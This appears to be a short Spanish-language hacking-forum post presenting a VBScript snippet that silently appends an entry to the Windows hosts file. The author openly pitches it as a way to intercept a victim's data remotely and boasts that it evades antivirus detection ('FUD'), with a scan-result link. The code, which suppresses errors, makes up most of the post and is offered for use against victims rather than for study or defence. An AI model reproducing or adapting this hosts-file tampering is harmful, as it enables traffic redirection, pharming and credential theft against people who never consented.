HOLA!!!
En este ejemplo se muestra como escribir una linea en el archivo de hosts, lo cual puede ser muy practico ya que con esto podemos interceptar datos a distancia sin infectar directamente la pc victima.
Dim objFileSystem, objOutputFile
On Error Resume next
Set objFileSystem = CreateObject("Scripting.fileSystemObject")
Set objOutputFile = objFileSystem.OpenTextFile("C:\WINDOWS\system32\drivers\etc\hosts", 8)
objOutputFile.WriteLine VbCrLf & "127.0.0.1 asd #asd"
objOutputFile.Close
Y obviamente FUD.
(http://nodistribute.com/result/image/JvQxp2ofFaZI0W8GHjluY3BTkNA6eM.png)
GRACIAS POR LEER!!!